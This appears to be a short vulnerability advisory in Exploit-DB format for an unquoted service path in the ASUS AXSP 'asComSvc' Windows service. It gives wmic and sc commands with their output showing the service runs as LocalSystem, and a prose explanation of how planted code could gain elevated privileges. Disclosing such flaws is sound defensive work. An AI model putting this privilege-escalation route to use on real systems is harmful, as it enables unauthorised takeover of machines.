# Exploit Title: ASUS AXSP 1.02.00 - 'asComSvc' Unquoted Service Path# Discovery by: Roberto Piña# Discovery Date: 2020-03-10# Vendor Homepage: https://www.asus.com/# Software Link :https://dlcdnets.asus.com/pub/ASUS/misc/utils/AISuite3_Win10_H97M-Pro_V10102.zip?_ga=2.170180192.1334401606.1583873755-790266082.1583873755# Tested Version: 1.02.00# Vulnerability Type: Unquoted Service Path# Tested on OS: Windows 10 Home x64 en# Step to discover Unquoted Service Path:
C:\>wmic service get name, pathname, displayname, startmode | findstr "Auto"| findstr /i /v "C:\Windows\\"| findstr /i "asComSvc"| findstr /i /v """
ASUS Com ServiceasComSvcC:\Program Files (x86)\ASUS\AXSP\1.02.00\atkexComSvc.exe Auto
C:\>sc qc asComSvc
[SC] QueryServiceConfig SUCCESS
SERVICE_NAME: asComSvc
TYPE : 10WIN32_OWN_PROCESS
START_TYPE : 2 AUTO_START
ERROR_CONTROL: 1 NORMAL
BINARY_PATH_NAME : C:\Program Files (x86)\ASUS\AXSP\1.02.00\atkexComSvc.exe
LOAD_ORDER_GROUP :
TAG: 0
DISPLAY_NAME : ASUS Com Service
DEPENDENCIES : RpcSs
SERVICE_START_NAME : LocalSystem
#Exploit:# A successful attempt would require the local user to be able to insert their code in the system root path # undetected by the OS or other security applications where it could potentially be executed during # application startup or reboot. If successful, the local user's code would execute with the elevated # privileges of the application.
